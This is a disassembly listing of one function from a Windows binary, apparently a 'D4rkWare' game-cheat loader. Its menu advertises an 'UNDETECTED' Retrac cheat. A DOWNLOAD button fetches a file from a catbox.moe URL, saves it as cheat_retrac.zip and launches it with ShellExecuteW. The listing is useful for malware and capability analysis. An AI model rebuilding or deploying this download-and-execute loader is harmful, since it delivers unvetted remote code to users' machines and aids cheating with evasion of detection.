Function at 0x14003c150
Capabilities:
Create process on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0x18]
sub rsp, 0x110
movaps xmmword [rax - 0x18], xmm6
movaps xmmword [rax - 0x28], xmm8
movaps xmmword [rax - 0x38], xmm9
mov rax, qword [0x140053040]
xor rax, rsp
mov qword [rbp - 0x30], rax
lea rdx, str.https:__files.catbox.moe_nf6ufe.bin
lea rcx, [rbp - 0x50]
call fcn.14003ff20
nop
lea rdx, str.cheat_retrac.zip
lea rcx, [rbp - 0x70]
call fcn.14003ff20
nop
mov rbx, qword [0x140150510]
mov rax, qword [rbx + 0x3ec0]
mov byte [rax + 0xb0], 1
mov rax, qword [rbx + 0x3ec0]
movss xmm1, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x80]
addss xmm1, dword [0x14004ad78]
movss xmm0, dword [rax + 0x18]
subss xmm0, dword [rax + 0x7c]
movss xmm6, dword [0x14004ad40]
addss xmm0, xmm6
movss dword [rax + 0xf8], xmm0
movss dword [rax + 0xfc], xmm1
mov byte [rax + 0x139], 1
mov dword [rsp + 0x50], 0x43600000
mov dword [rsp + 0x54], 0xbf800000
mov rax, qword [rbx + 0x3ec0]
mov byte [rax + 0xb0], 1
mov rax, qword [rbx + 0x3ec0]
movsxd r8, dword [rax + 0xe8]
mov rax, qword [rax + 0xf0]
mov r8d, dword [rax + r8*4 - 4]
xor edx, edx
lea rcx, str.updates
call fcn.140005c20
mov edi, eax
cmp dword [rbx + 0x3f08], eax
jne 0x14003c26a
lea r8, str.updates
mov edx, 0xb
mov ecx, eax
call fcn.14001c260
mov dword [rsp + 0x20], 0x80
xor r9d, r9d
lea r8, [rsp + 0x50]
mov edx, edi
lea rcx, str.updates
call fcn.14000c810
lea rax, str.Released
mov qword [rsp + 0x40], rax
lea rax, str.Added_Retrac_Cheat.
mov qword [rsp + 0x48], rax
lea rdi, [rsp + 0x40]
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x60], xmm0
xor esi, esi
mov qword [rsp + 0x70], rsi
mov ecx, 0x10
call fcn.14004131c
mov rbx, rax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
lea rcx, [rax + 0x10]
mov qword [rsp + 0x70], rcx
mov r8d, 0x10
mov rdx, rdi
mov rcx, rax
call sub.VCRUNTIME140.dll_memmove
lea rax, [rbx + 0x10]
mov qword [rsp + 0x68], rax
lea r8, [rsp + 0x60]
call fcn.140039200
movaps xmm0, xmm6
mov rax, qword [0x140150510]
subss xmm0, dword [rax + 0x3830]
xorps xmm8, xmm8
mov dword [rsp + 0x50], esi
movss dword [rsp + 0x54], xmm0
lea rcx, [rsp + 0x50]
call fcn.140030b20
call fcn.14000ca40
movss xmm1, dword [0x14004ad14]
xorps xmm0, xmm0
call fcn.140014e20
mov dword [rsp + 0x50], 0x435a0000
mov dword [rsp + 0x54], 0xc1c00000
mov rbx, qword [0x140150510]
mov rax, qword [rbx + 0x3ec0]
mov byte [rax + 0xb0], 1
mov rax, qword [rbx + 0x3ec0]
movsxd r8, dword [rax + 0xe8]
mov rax, qword [rax + 0xf0]
mov r8d, dword [rax + r8*4 - 4]
xor edx, edx
lea rcx, str.game
call fcn.140005c20
mov edi, eax
cmp dword [rbx + 0x3f08], eax
jne 0x14003c3a2
lea r8, str.game
mov edx, 0xb
mov ecx, eax
call fcn.14001c260
mov dword [rsp + 0x20], esi
xor r9d, r9d
lea r8, [rsp + 0x50]
mov edx, edi
lea rcx, str.game
call fcn.14000c810
mov rcx, qword [0x140150510]
mov rax, qword [rcx + 0x3ec0]
mov byte [rax + 0xb0], 1
mov rax, qword [rcx + 0x3ec0]
movss xmm1, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x80]
addss xmm1, xmm6
movss xmm0, dword [rax + 0x18]
subss xmm0, dword [rax + 0x7c]
addss xmm0, dword [0x14004ad38]
movss dword [rax + 0xf8], xmm0
movss dword [rax + 0xfc], xmm1
mov byte [rax + 0x139], 1
call fcn.140015070
movdqa xmm0, xmmword [0x14004ae60]
movups xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [0x14004b1b0]
movups xmmword [rsp + 0x60], xmm1
mov dword [rsp + 0x50], 0x3f800000
mov dword [rsp + 0x54], 0x3f800000
mov qword [rsp + 0x58], rsi
mov dword [rsp + 0x40], 0x43320000
mov dword [rsp + 0x44], 0x42d00000
movss xmm1, dword [0x14004acfc]
movss dword [rsp + 0x30], xmm1
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x58]
lea rdx, [rsp + 0x40]
mov rcx, qword [0x1401509e0]
call fcn.1400306e0
movss xmm9, dword [0x14004ad3c]
movaps xmm1, xmm9
mov rcx, qword [0x140150510]
subss xmm1, dword [rcx + 0x3830]
mov rax, qword [rcx + 0x3ec0]
mov byte [rax + 0xb0], 1
mov rax, qword [rcx + 0x3ec0]
movss xmm0, dword [rax + 0xfc]
addss xmm0, xmm1
movss dword [rax + 0xfc], xmm0
movdqa xmm1, xmmword [0x14004b080]
movdqa xmmword [rsp + 0x60], xmm1
lea r8, [rsp + 0x60]
lea rdx, str.UNDETECTED
lea rcx, str.STATUS
call fcn.140038df0
movss xmm0, dword [0x14004ad24]
mov rcx, qword [0x140150510]
subss xmm0, dword [rcx + 0x3830]
mov rax, qword [rcx + 0x3ec0]
mov byte [rax + 0xb0], 1
mov rax, qword [rcx + 0x3ec0]
addss xmm0, dword [rax + 0xfc]
movss dword [rax + 0xfc], xmm0
movups xmm0, xmmword [rcx + 0x38b8]
movups xmmword [rsp + 0x40], xmm0
shufps xmm0, xmm0, 0xff
mulss xmm0, dword [rcx + 0x37e0]
movss dword [rsp + 0x4c], xmm0
lea rcx, [rsp + 0x40]
call fcn.1400061b0
mov r8d, eax
movzx ecx, al
xorps xmm4, xmm4
cvtsi2ss xmm4, rcx
movss xmm2, dword [0x14004ac58]
mulss xmm4, xmm2
mov ecx, eax
shr ecx, 8
movzx ecx, cl
xorps xmm3, xmm3
cvtsi2ss xmm3, rcx
mulss xmm3, xmm2
mov ecx, eax
shr ecx, 0x10
movzx eax, cl
xorps xmm1, xmm1
cvtsi2ss xmm1, rax
mulss xmm1, xmm2
shr r8d, 0x18
mov eax, r8d
xorps xmm0, xmm0
cvtsi2ss xmm0, rax
mulss xmm0, xmm2
shufps xmm4, xmm4, 0xe1
movss xmm4, xmm3
shufps xmm4, xmm4, 0xc6
movss xmm4, xmm1
shufps xmm4, xmm4, 0x27
movss xmm4, xmm0
shufps xmm4, xmm4, 0x39
movups xmmword [rsp + 0x40], xmm4
movdqa xmmword [rsp + 0x60], xmm4
lea r8, [rsp + 0x60]
lea rdx, str.31.08.2024
lea rcx, [0x14004aadc]
call fcn.140038df0
movaps xmm0, xmm9
mov rbx, qword [0x140150510]
subss xmm0, dword [rbx + 0x3830]
mov rax, qword [rbx + 0x3ec0]
mov byte [rax + 0xb0], 1
mov rax, qword [rbx + 0x3ec0]
addss xmm0, dword [rax + 0xfc]
movss dword [rax + 0xfc], xmm0
mov rax, qword [rbx + 0x3ec0]
mov byte [rax + 0xb0], 1
mov rax, qword [rbx + 0x3ec0]
movss xmm0, dword [rax + 0x18]
subss xmm0, dword [rax + 0x7c]
addss xmm0, xmm8
movss dword [rax + 0xf8], xmm0
mov byte [rax + 0x139], 1
mov dword [rsp + 0x40], 0xbf800000
mov dword [rsp + 0x44], 0xbf800000
mov rax, qword [rbx + 0x3ec0]
mov byte [rax + 0xb0], 1
mov rax, qword [rbx + 0x3ec0]
movsxd r8, dword [rax + 0xe8]
mov rax, qword [rax + 0xf0]
mov r8d, dword [rax + r8*4 - 4]
xor edx, edx
lea rcx, [0x14004aae0]
call fcn.140005c20
mov edi, eax
cmp dword [rbx + 0x3f08], eax
jne 0x14003c6c2
lea r8, [0x14004aae0]
mov edx, 0xb
mov ecx, eax
call fcn.14001c260
mov dword [rsp + 0x20], 0x80
xor r9d, r9d
lea r8, [rsp + 0x40]
mov edx, edi
lea rcx, [0x14004aae0]
call fcn.14000c810
mov rcx, qword [0x140150510]
mov rax, qword [rcx + 0x3ec0]
mov byte [rax + 0xb0], 1
mov r8, qword [rcx + 0x3ec0]
mov r10, qword [r8 + 0x290]
movss xmm6, dword [rcx + 0x380c]
movss xmm0, dword [rcx + 0x37e0]
mulss xmm0, dword [0x14004ac5c]
mov dword [rsp + 0x40], 0x3f800000
mov dword [rsp + 0x44], 0x3f800000
mov dword [rsp + 0x48], 0x3f800000
movss dword [rsp + 0x4c], xmm0
lea rcx, [rsp + 0x40]
call fcn.1400061b0
movss xmm1, dword [r8 + 0x20]
movss xmm0, dword [r8 + 0x1c]
addss xmm1, dword [r8 + 0x18]
addss xmm0, dword [r8 + 0x24]
movss dword [rsp + 0x40], xmm1
movss dword [rsp + 0x44], xmm0
movsd xmm0, qword [r8 + 0x18]
movsd qword [rsp + 0x58], xmm0
mov dword [rsp + 0x28], 0xc0
movss dword [rsp + 0x20], xmm6
mov r9d, eax
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x58]
mov rcx, r10
call fcn.140028030
mov rcx, qword [0x140150510]
mov rax, qword [rcx + 0x3ec0]
mov byte [rax + 0xb0], 1
mov rax, qword [rcx + 0x3ec0]
movss xmm1, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x80]
addss xmm1, dword [0x14004ad14]
movss xmm0, dword [rax + 0x18]
subss xmm0, dword [rax + 0x7c]
addss xmm0, dword [0x14004ad14]
movss dword [rax + 0xf8], xmm0
movss dword [rax + 0xfc], xmm1
mov byte [rax + 0x139], 1
mov rax, qword [rcx + 0x3ec0]
movss xmm1, dword [rax + 0x20]
subss xmm1, xmm9
movss xmm0, dword [rax + 0x24]
subss xmm0, xmm9
movss dword [rsp + 0x40], xmm1
movss dword [rsp + 0x44], xmm0
lea rdx, [rsp + 0x40]
lea rcx, str.DOWNLOAD
call fcn.14002f410
test al, al
je 0x14003c89b
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x50]
call fcn.14003be50
test al, al
je 0x14003c879
lea r8, [rbp - 0x70]
cmp qword [rbp - 0x58], 7
cmova r8, qword [rbp - 0x70]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov r9d, 0x30
lea rdx, str.Downloaded
jmp 0x14003c886
mov r9d, 0x10
lea rdx, str.Something_Went_Wrong.._Contact_Support_
lea r8, str.D4rkWare
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
inc dword [0x140150938]
call fcn.14000ca40
call fcn.1400151a0
call fcn.14000ca40
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 7
jbe 0x14003c8ee
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003c8e9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003c8e9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140041668
movdqa xmm0, xmmword [0x14004ae10]
movdqu xmmword [rbp - 0x60], xmm0
mov word [rbp - 0x70], si
mov rdx, qword [rbp - 0x38]
cmp rdx, 7
jbe 0x14003c942
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003c93d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003c93d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140041668
mov rcx, qword [rbp - 0x30]
xor rcx, rsp
call fcn.140041060
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm8, xmmword [r11 - 0x20]
movaps xmm9, xmmword [r11 - 0x30]
mov rsp, r11
pop rbp
ret